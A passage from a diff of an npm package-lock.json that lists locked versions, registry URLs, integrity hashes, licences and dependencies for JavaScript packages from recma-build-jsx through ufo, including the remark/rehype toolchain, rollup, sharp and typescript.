+ "url": "https://paulmillr.com/funding/"
+ }
+ },
+ "node_modules/recma-build-jsx": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-build-jsx/-/recma-build-jsx-1.0.0.tgz",
+ "integrity": "sha512-8GtdyqaBcDfva+GUKDr3nev3VpKAhup1+RvkMvUxURHpW7QyIvk9F5wz7Vzo06CEMSilw6uArgRqhpiUcWp8ew==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-util-build-jsx": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/recma-jsx": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/recma-jsx/-/recma-jsx-1.0.1.tgz",
+ "integrity": "sha512-huSIy7VU2Z5OLv6oFLosQGGDqPqdO1iq6bWNAdhzMxSJP7RAso4fCZ1cKu8j9YHCZf3TPrq4dw3okhrylgcd7w==",
+ "license": "MIT",
+ "dependencies": {
+ "acorn-jsx": "^5.0.0",
+ "estree-util-to-js": "^2.0.0",
+ "recma-parse": "^1.0.0",
+ "recma-stringify": "^1.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ },
+ "peerDependencies": {
+ "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0"
+ }
+ },
+ "node_modules/recma-parse": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-parse/-/recma-parse-1.0.0.tgz",
+ "integrity": "sha512-OYLsIGBB5Y5wjnSnQW6t3Xg7q3fQ7FWbw/vcXtORTnyaSFscOtABg+7Pnz6YZ6c27fG1/aN8CjfwoUEUIdwqWQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "esast-util-from-js": "^2.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/recma-stringify": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/recma-stringify/-/recma-stringify-1.0.0.tgz",
+ "integrity": "sha512-cjwII1MdIIVloKvC9ErQ+OgAtwHBmcZ0Bg4ciz78FtbT8In39aAYbaA7zvxQ61xVMSPE8WxhLwLbhif4Js2C+g==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "estree-util-to-js": "^2.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/regex": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/regex/-/regex-6.1.0.tgz",
+ "integrity": "sha512-6VwtthbV4o/7+OaAF9I5L5V3llLEsoPyq9P1JVXkedTP33c7MfCG0/5NOPcSJn0TzXcG9YUrR0gQSWioew3LDg==",
+ "license": "MIT",
+ "dependencies": {
+ "regex-utilities": "^2.3.0"
+ }
+ },
+ "node_modules/regex-recursion": {
+ "version": "6.0.2",
+ "resolved": "https://registry.npmjs.org/regex-recursion/-/regex-recursion-6.0.2.tgz",
+ "integrity": "sha512-0YCaSCq2VRIebiaUviZNs0cBz1kg5kVS2UKUfNIx8YVs1cN3AV7NTctO5FOKBA+UT2BPJIWZauYHPqJODG50cg==",
+ "license": "MIT",
+ "dependencies": {
+ "regex-utilities": "^2.3.0"
+ }
+ },
+ "node_modules/regex-utilities": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/regex-utilities/-/regex-utilities-2.3.0.tgz",
+ "integrity": "sha512-8VhliFJAWRaUiVvREIiW2NXXTmHs4vMNnSzuJVhscgmGav3g9VDxLrQndI3dZZVVdp0ZO/5v0xmX516/7M9cng==",
+ "license": "MIT"
+ },
+ "node_modules/rehype": {
+ "version": "13.0.2",
+ "resolved": "https://registry.npmjs.org/rehype/-/rehype-13.0.2.tgz",
+ "integrity": "sha512-j31mdaRFrwFRUIlxGeuPXXKWQxet52RBQRvCmzl5eCefn/KGbomK5GMHNMsOJf55fgo3qw5tST5neDuarDYR2A==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "rehype-parse": "^9.0.0",
+ "rehype-stringify": "^10.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-parse": {
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/rehype-parse/-/rehype-parse-9.0.1.tgz",
+ "integrity": "sha512-ksCzCD0Fgfh7trPDxr2rSylbwq9iYDkSn8TCDmEJ49ljEUBxDVCzCHv7QNzZOfODanX4+bWQ4WZqLCRWYLfhag==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-from-html": "^2.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-raw": {
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-raw/-/rehype-raw-7.0.0.tgz",
+ "integrity": "sha512-/aE8hCfKlQeA8LmyeyQvQF3eBiLRGNlfBJEvWH7ivp9sBqs7TNqBL5X3v157rM4IFETqDnIOO+z5M/biZbo9Ww==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-raw": "^9.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-recma": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/rehype-recma/-/rehype-recma-1.0.0.tgz",
+ "integrity": "sha512-lqA4rGUf1JmacCNWWZx0Wv1dHqMwxzsDWYMTowuplHF3xH0N/MmrZ/G3BDZnzAkRmxDadujCjaKM2hqYdCBOGw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "^1.0.0",
+ "@types/hast": "^3.0.0",
+ "hast-util-to-estree": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rehype-stringify": {
+ "version": "10.0.1",
+ "resolved": "https://registry.npmjs.org/rehype-stringify/-/rehype-stringify-10.0.1.tgz",
+ "integrity": "sha512-k9ecfXHmIPuFVI61B9DeLPN0qFHfawM6RsuX48hoqlaKSF61RskNjSm1lI8PhBEM0MRdLxVVm4WmTqJQccH9mA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "hast-util-to-html": "^9.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-gfm": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/remark-gfm/-/remark-gfm-4.0.1.tgz",
+ "integrity": "sha512-1quofZ2RQ9EWdeN34S79+KExV1764+wCUGop5CPL1WGdD0ocPpu91lzPGbwWMECpEpd42kJGQwzRfyov9j4yNg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-gfm": "^3.0.0",
+ "micromark-extension-gfm": "^3.0.0",
+ "remark-parse": "^11.0.0",
+ "remark-stringify": "^11.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-mdx": {
+ "version": "3.1.1",
+ "resolved": "https://registry.npmjs.org/remark-mdx/-/remark-mdx-3.1.1.tgz",
+ "integrity": "sha512-Pjj2IYlUY3+D8x00UJsIOg5BEvfMyeI+2uLPn9VO9Wg4MEtN/VTIq2NEJQfde9PnX15KgtHyl9S0BcTnWrIuWg==",
+ "license": "MIT",
+ "dependencies": {
+ "mdast-util-mdx": "^3.0.0",
+ "micromark-extension-mdxjs": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-parse": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/remark-parse/-/remark-parse-11.0.0.tgz",
+ "integrity": "sha512-FCxlKLNGknS5ba/1lmpYijMUzX2esxW5xQqjWxw2eHFfS2MSdaHVINFmhjo+qN1WhZhNimq0dZATN9pH0IDrpA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-from-markdown": "^2.0.0",
+ "micromark-util-types": "^2.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-rehype": {
+ "version": "11.1.2",
+ "resolved": "https://registry.npmjs.org/remark-rehype/-/remark-rehype-11.1.2.tgz",
+ "integrity": "sha512-Dh7l57ianaEoIpzbp0PC9UKAdCSVklD8E5Rpw7ETfbTl3FqcOOgq5q2LVDhgGCkaBv7p24JXikPdvhhmHvKMsw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/hast": "^3.0.0",
+ "@types/mdast": "^4.0.0",
+ "mdast-util-to-hast": "^13.0.0",
+ "unified": "^11.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/remark-smartypants": {
+ "version": "3.0.3",
+ "resolved": "https://registry.npmjs.org/remark-smartypants/-/remark-smartypants-3.0.3.tgz",
+ "integrity": "sha512-gCaK+ndZ0hYezlqFegHFCVh2CQemsi0Npdh1qVM9bxlUFknjkbP6VmojWhddOCrbK0PbbacmYLWfTULRiT1eWA==",
+ "license": "MIT",
+ "dependencies": {
+ "retext": "^9.0.0",
+ "retext-smartypants": "^6.0.0",
+ "unified": "^11.0.4",
+ "unist-util-visit": "^5.0.0"
+ },
+ "engines": {
+ "node": ">=16.0.0"
+ }
+ },
+ "node_modules/remark-stringify": {
+ "version": "11.0.0",
+ "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-11.0.0.tgz",
+ "integrity": "sha512-1OSmLd3awB/t8qdoEOMazZkNsfVTeY4fTsgzcQFdXNq8ToTN4ZGwrMnlda4K6smTFKD+GRV6O48i6Z4iKgPPpw==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/mdast": "^4.0.0",
+ "mdast-util-to-markdown": "^2.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/retext": {
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/retext/-/retext-9.0.0.tgz",
+ "integrity": "sha512-sbMDcpHCNjvlheSgMfEcVrZko3cDzdbe1x/e7G66dFp0Ff7Mldvi2uv6JkJQzdRcvLYE8CA8Oe8siQx8ZOgTcA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0",
+ "retext-latin": "^4.0.0",
+ "retext-stringify": "^4.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/retext-latin": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/retext-latin/-/retext-latin-4.0.0.tgz",
+ "integrity": "sha512-hv9woG7Fy0M9IlRQloq/N6atV82NxLGveq+3H2WOi79dtIYWN8OaxogDm77f8YnVXJL2VD3bbqowu5E3EMhBYA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0",
+ "parse-latin": "^7.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/retext-smartypants": {
+ "version": "6.2.0",
+ "resolved": "https://registry.npmjs.org/retext-smartypants/-/retext-smartypants-6.2.0.tgz",
+ "integrity": "sha512-kk0jOU7+zGv//kfjXEBjdIryL1Acl4i9XNkHxtM7Tm5lFiCog576fjNC9hjoR7LTKQ0DsPWy09JummSsH1uqfQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0",
+ "nlcst-to-string": "^4.0.0",
+ "unist-util-visit": "^5.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/retext-stringify": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/retext-stringify/-/retext-stringify-4.0.0.tgz",
+ "integrity": "sha512-rtfN/0o8kL1e+78+uxPTqu1Klt0yPzKuQ2BfWwwfgIUSayyzxpM1PJzkKt4V8803uB9qSy32MvI7Xep9khTpiA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/nlcst": "^2.0.0",
+ "nlcst-to-string": "^4.0.0",
+ "unified": "^11.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/rollup": {
+ "version": "4.63.1",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.63.1.tgz",
+ "integrity": "sha512-3Df9jsstwhccuEfmAMi9l8XUh/GOkVObmFTU7CCVBysEbcOZLl84jCtaAZMcPiMz2EGKsATzQcU+Xr3n/wU6cg==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/estree": "1.0.9"
+ },
+ "bin": {
+ "rollup": "dist/bin/rollup"
+ },
+ "engines": {
+ "node": ">=18.0.0",
+ "npm": ">=8.0.0"
+ },
+ "optionalDependencies": {
+ "@napi-rs/lzma-linux-x64-gnu": "1.5.1",
+ "@rollup/rollup-android-arm-eabi": "4.63.1",
+ "@rollup/rollup-android-arm64": "4.63.1",
+ "@rollup/rollup-darwin-arm64": "4.63.1",
+ "@rollup/rollup-darwin-x64": "4.63.1",
+ "@rollup/rollup-freebsd-arm64": "4.63.1",
+ "@rollup/rollup-freebsd-x64": "4.63.1",
+ "@rollup/rollup-linux-arm-gnueabihf": "4.63.1",
+ "@rollup/rollup-linux-arm-musleabihf": "4.63.1",
+ "@rollup/rollup-linux-arm64-gnu": "4.63.1",
+ "@rollup/rollup-linux-arm64-musl": "4.63.1",
+ "@rollup/rollup-linux-loong64-gnu": "4.63.1",
+ "@rollup/rollup-linux-loong64-musl": "4.63.1",
+ "@rollup/rollup-linux-ppc64-gnu": "4.63.1",
+ "@rollup/rollup-linux-ppc64-musl": "4.63.1",
+ "@rollup/rollup-linux-riscv64-gnu": "4.63.1",
+ "@rollup/rollup-linux-riscv64-musl": "4.63.1",
+ "@rollup/rollup-linux-s390x-gnu": "4.63.1",
+ "@rollup/rollup-linux-x64-gnu": "4.63.1",
+ "@rollup/rollup-linux-x64-musl": "4.63.1",
+ "@rollup/rollup-openbsd-x64": "4.63.1",
+ "@rollup/rollup-openharmony-arm64": "4.63.1",
+ "@rollup/rollup-win32-arm64-msvc": "4.63.1",
+ "@rollup/rollup-win32-ia32-msvc": "4.63.1",
+ "@rollup/rollup-win32-x64-gnu": "4.63.1",
+ "@rollup/rollup-win32-x64-msvc": "4.63.1",
+ "fsevents": "~2.3.2"
+ }
+ },
+ "node_modules/sax": {
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/sax/-/sax-1.6.1.tgz",
+ "integrity": "sha512-42tBVwLWnaQvW5zc4HbZrTuWccECCZfBi92FDuwtqxasH+JbPB3/FOKb1m222K42R4WxuxzzMsTswfzgtSu64Q==",
+ "license": "BlueOak-1.0.0",
+ "engines": {
+ "node": ">=11.0.0"
+ }
+ },
+ "node_modules/semver": {
+ "version": "7.8.5",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-7.8.5.tgz",
+ "integrity": "sha512-Y7/KDsb8LjooZpwaqGyulO6DQlksgCncchHGk+sZIY4SBvUocMBEFH5Ur1fI4dV+Jvl0w6cjvucaIi40puRioA==",
+ "license": "ISC",
+ "bin": {
+ "semver": "bin/semver.js"
+ },
+ "engines": {
+ "node": ">=10"
+ }
+ },
+ "node_modules/sharp": {
+ "version": "0.35.4",
+ "resolved": "https://registry.npmjs.org/sharp/-/sharp-0.35.4.tgz",
+ "integrity": "sha512-n++8XWcj+jCOr2IOl7h8LbKnGBDY4aPbmprMONBNFdn0ImXqpGVv5zliDs0V9HbmbCQLpbuo2ej9rAoOQTvMDA==",
+ "license": "Apache-2.0",
+ "dependencies": {
+ "@img/colour": "^1.1.0",
+ "detect-libc": "^2.1.2",
+ "semver": "^7.8.5"
+ },
+ "engines": {
+ "node": ">=20.9.0"
+ },
+ "funding": {
+ "url": "https://opencollective.com/libvips"
+ },
+ "optionalDependencies": {
+ "@img/sharp-darwin-arm64": "0.35.4",
+ "@img/sharp-darwin-x64": "0.35.4",
+ "@img/sharp-freebsd-wasm32": "0.35.4",
+ "@img/sharp-libvips-darwin-arm64": "1.3.3",
+ "@img/sharp-libvips-darwin-x64": "1.3.3",
+ "@img/sharp-libvips-linux-arm": "1.3.3",
+ "@img/sharp-libvips-linux-arm64": "1.3.3",
+ "@img/sharp-libvips-linux-ppc64": "1.3.3",
+ "@img/sharp-libvips-linux-riscv64": "1.3.3",
+ "@img/sharp-libvips-linux-s390x": "1.3.3",
+ "@img/sharp-libvips-linux-x64": "1.3.3",
+ "@img/sharp-libvips-linuxmusl-arm64": "1.3.3",
+ "@img/sharp-libvips-linuxmusl-x64": "1.3.3",
+ "@img/sharp-linux-arm": "0.35.4",
+ "@img/sharp-linux-arm64": "0.35.4",
+ "@img/sharp-linux-ppc64": "0.35.4",
+ "@img/sharp-linux-riscv64": "0.35.4",
+ "@img/sharp-linux-s390x": "0.35.4",
+ "@img/sharp-linux-x64": "0.35.4",
+ "@img/sharp-linuxmusl-arm64": "0.35.4",
+ "@img/sharp-linuxmusl-x64": "0.35.4",
+ "@img/sharp-webcontainers-wasm32": "0.35.4",
+ "@img/sharp-win32-arm64": "0.35.4",
+ "@img/sharp-win32-ia32": "0.35.4",
+ "@img/sharp-win32-x64": "0.35.4"
+ },
+ "peerDependenciesMeta": {
+ "@types/node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/shiki": {
+ "version": "3.23.0",
+ "resolved": "https://registry.npmjs.org/shiki/-/shiki-3.23.0.tgz",
+ "integrity": "sha512-55Dj73uq9ZXL5zyeRPzHQsK7Nbyt6Y10k5s7OjuFZGMhpp4r/rsLBH0o/0fstIzX1Lep9VxefWljK/SKCzygIA==",
+ "license": "MIT",
+ "dependencies": {
+ "@shikijs/core": "3.23.0",
+ "@shikijs/engine-javascript": "3.23.0",
+ "@shikijs/engine-oniguruma": "3.23.0",
+ "@shikijs/langs": "3.23.0",
+ "@shikijs/themes": "3.23.0",
+ "@shikijs/types": "3.23.0",
+ "@shikijs/vscode-textmate": "^10.0.2",
+ "@types/hast": "^3.0.4"
+ }
+ },
+ "node_modules/sisteransi": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/sisteransi/-/sisteransi-1.0.5.tgz",
+ "integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
+ "license": "MIT"
+ },
+ "node_modules/sitemap": {
+ "version": "9.0.1",
+ "resolved": "https://registry.npmjs.org/sitemap/-/sitemap-9.0.1.tgz",
+ "integrity": "sha512-S6hzjGJSG3d6if0YoF5kTyeRJvia6FSTBroE5fQ0bu1QNxyJqhhinfUsXi9fH3MgtXODWvwo2BDyQSnhPQ88uQ==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/node": "^24.9.2",
+ "@types/sax": "^1.2.1",
+ "arg": "^5.0.0",
+ "sax": "^1.4.1"
+ },
+ "bin": {
+ "sitemap": "dist/esm/cli.js"
+ },
+ "engines": {
+ "node": ">=20.19.5",
+ "npm": ">=10.8.2"
+ }
+ },
+ "node_modules/smol-toml": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz",
+ "integrity": "sha512-kCZr2V3ch9i00x8zXRhjUNVcjG9ijES5dDudkXvUVCT5QlJNQWElSJdZqyPemffHoLNUYwOcou0Fy+ojN0uHSQ==",
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">= 18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/cyyynthia"
+ }
+ },
+ "node_modules/source-map": {
+ "version": "0.7.6",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.6.tgz",
+ "integrity": "sha512-i5uvt8C3ikiWeNZSVZNWcfZPItFQOsYTUAOkcUPGd8DqDy1uOUikjt5dG+uRlwyvR108Fb9DOd4GvXfT0N2/uQ==",
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">= 12"
+ }
+ },
+ "node_modules/source-map-js": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.2.1.tgz",
+ "integrity": "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA==",
+ "license": "BSD-3-Clause",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/space-separated-tokens": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-2.0.2.tgz",
+ "integrity": "sha512-PEGlAwrG8yXGXRjW32fGbg66JAlOAwbObuqVoJpv/mRgoWDQfgH1wDPvtzWyUSNAXBGSk8h755YDbbcEy3SH2Q==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/string-width": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz",
+ "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==",
+ "license": "MIT",
+ "dependencies": {
+ "emoji-regex": "^10.3.0",
+ "get-east-asian-width": "^1.0.0",
+ "strip-ansi": "^7.1.0"
+ },
+ "engines": {
+ "node": ">=18"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/stringify-entities": {
+ "version": "4.0.4",
+ "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.4.tgz",
+ "integrity": "sha512-IwfBptatlO+QCJUo19AqvrPNqlVMpW9YEL2LIVY+Rpv2qsjCGxaDLNRgeGsQWJhfItebuJhsGSLjaBbNSQ+ieg==",
+ "license": "MIT",
+ "dependencies": {
+ "character-entities-html4": "^2.0.0",
+ "character-entities-legacy": "^3.0.0"
+ },
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/strip-ansi": {
+ "version": "7.2.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.2.0.tgz",
+ "integrity": "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w==",
+ "license": "MIT",
+ "dependencies": {
+ "ansi-regex": "^6.2.2"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+ }
+ },
+ "node_modules/style-to-js": {
+ "version": "1.1.21",
+ "resolved": "https://registry.npmjs.org/style-to-js/-/style-to-js-1.1.21.tgz",
+ "integrity": "sha512-RjQetxJrrUJLQPHbLku6U/ocGtzyjbJMP9lCNK7Ag0CNh690nSH8woqWH9u16nMjYBAok+i7JO1NP2pOy8IsPQ==",
+ "license": "MIT",
+ "dependencies": {
+ "style-to-object": "1.0.14"
+ }
+ },
+ "node_modules/style-to-object": {
+ "version": "1.0.14",
+ "resolved": "https://registry.npmjs.org/style-to-object/-/style-to-object-1.0.14.tgz",
+ "integrity": "sha512-LIN7rULI0jBscWQYaSswptyderlarFkjQ+t79nzty8tcIAceVomEVlLzH5VP4Cmsv6MtKhs7qaAiwlcp+Mgaxw==",
+ "license": "MIT",
+ "dependencies": {
+ "inline-style-parser": "0.2.7"
+ }
+ },
+ "node_modules/svgo": {
+ "version": "4.1.0",
+ "resolved": "https://registry.npmjs.org/svgo/-/svgo-4.1.0.tgz",
+ "integrity": "sha512-bkxnTg1kSU0guhIBmibA6UUhrQmPVA1XsQLN+ylCd+UWzbnLkySOcXpyk1mrl05f+pcaCx2eHb+sp6BgMZWX+Q==",
+ "license": "MIT",
+ "dependencies": {
+ "commander": "^11.1.0",
+ "css-select": "^6.0.0",
+ "css-tree": "^3.0.1",
+ "css-what": "^7.0.0",
+ "csso": "^5.0.5",
+ "picocolors": "^1.1.1",
+ "sax": "1.6.1"
+ },
+ "bin": {
+ "svgo": "bin/svgo.js"
+ },
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/svgo"
+ }
+ },
+ "node_modules/tiny-inflate": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/tiny-inflate/-/tiny-inflate-1.0.3.tgz",
+ "integrity": "sha512-pkY1fj1cKHb2seWDy0B16HeWyczlJA9/WW3u3c4z/NiWDsO3DOU5D7nhTLE9CF0yXv/QZFY7sEJmj24dK+Rrqw==",
+ "license": "MIT"
+ },
+ "node_modules/tinyexec": {
+ "version": "1.3.0",
+ "resolved": "https://registry.npmjs.org/tinyexec/-/tinyexec-1.3.0.tgz",
+ "integrity": "sha512-QKAl9m8gWWGHV8jZcPeym6j+XULi6tOf1mT83WYJ4Lk2ytW/uwAWkrP0uFsdoYMdueVJ0qs26wZ+23xeB4ibNQ==",
+ "license": "MIT",
+ "engines": {
+ "node": ">=18"
+ }
+ },
+ "node_modules/tinyglobby": {
+ "version": "0.2.17",
+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.17.tgz",
+ "integrity": "sha512-wXR/dYpcqKmfWpEdZjiKJOwCNFndD0DMnrW/cYjVGttEkBfVgcLFHoNrlj47mjOVic9yyNu65alsgF4NQyTa2g==",
+ "license": "MIT",
+ "dependencies": {
+ "fdir": "^6.5.0",
+ "picomatch": "^4.0.4"
+ },
+ "engines": {
+ "node": ">=12.0.0"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/SuperchupuDev"
+ }
+ },
+ "node_modules/trim-lines": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/trim-lines/-/trim-lines-3.0.1.tgz",
+ "integrity": "sha512-kRj8B+YHZCc9kQYdWfJB2/oUl9rA99qbowYYBtr4ui4mZyAQ2JpvVBd/6U2YloATfqBhBTSMhTpgBHtU0Mf3Rg==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/trough": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/trough/-/trough-2.2.0.tgz",
+ "integrity": "sha512-tmMpK00BjZiUyVyvrBK7knerNgmgvcV/KLVyuma/SC+TQN167GrMRciANTz09+k3zW8L8t60jWO1GpfkZdjTaw==",
+ "license": "MIT",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/tsconfck": {
+ "version": "3.1.6",
+ "resolved": "https://registry.npmjs.org/tsconfck/-/tsconfck-3.1.6.tgz",
+ "integrity": "sha512-ks6Vjr/jEw0P1gmOVwutM3B7fWxoWBL2KRDb1JfqGVawBmO5UsvmWOQFGHBPl5yxYz4eERr19E6L7NMv+Fej4w==",
+ "deprecated": "unmaintained",
+ "license": "MIT",
+ "bin": {
+ "tsconfck": "bin/tsconfck.js"
+ },
+ "engines": {
+ "node": "^18 || >=20"
+ },
+ "peerDependencies": {
+ "typescript": "^5.0.0"
+ },
+ "peerDependenciesMeta": {
+ "typescript": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/tslib": {
+ "version": "2.8.1",
+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
+ "license": "0BSD",
+ "optional": true
+ },
+ "node_modules/type-fest": {
+ "version": "4.41.0",
+ "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-4.41.0.tgz",
+ "integrity": "sha512-TeTSQ6H5YHvpqVwBRcnLDCBnDOHWYu7IvGbHT6N8AOymcr9PJGjc1GTtiWZTYg0NCgYwvnYWEkVChQAr9bjfwA==",
+ "license": "(MIT OR CC0-1.0)",
+ "engines": {
+ "node": ">=16"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/typescript": {
+ "version": "5.9.3",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz",
+ "integrity": "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw==",
+ "license": "Apache-2.0",
+ "peer": true,
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=14.17"
+ }
+ },
+ "node_modules/ufo": {
+ "version": "1.6.4",
